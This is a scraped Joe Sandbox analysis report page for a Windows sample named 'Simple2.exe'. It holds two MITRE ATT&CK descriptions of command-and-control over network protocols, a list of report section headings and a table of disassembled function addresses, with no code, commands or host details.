Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Simple2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
Simple2.exe

Function 00007FF6D5CA5540 Relevance: 130.4, APIs: 53, Strings: 21, Instructions: 861
timeCOMMON

Function 00007FF6D5CA4CB0 Relevance: 54.7, APIs: 16, Strings: 15, Instructions: 472
COMMON

Function 00007FF6D5CA41F0 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 185
registryCOMMON

Function 00007FF6D5CA4570 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Function 00007FF6D5CA3E70 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 211
COMMON

Function 00007FF6D5CA37A0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
COMMON

Function 00007FF6D5CA3A40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129
COMMON

Function 00007FF6D5CA1790 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 195
COMMON

Function 00007FF6D5CA1520 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133
COMMON

Function 00007FF6D5CA8560 Relevance: 18.1, APIs: 12, Instructions: 124
COMMON

Function 00007FF6D5CA96F0 Relevance: 13.6, APIs: 9, Instructions: 138
COMMON

Function 00007FF6D5CA94E0 Relevance: 13.6, APIs: 9, Instructions: 135
COMMON

Function 00007FF6D5CAAD00 Relevance: 13.6, APIs: 9, Instructions: 134
COMMON

Function 00007FF6D5CA9310 Relevance: 13.6, APIs: 9, Instructions: 132
COMMON

Function 00007FF6D5CA3C40 Relevance: 13.6, APIs: 9, Instructions: 124
COMMON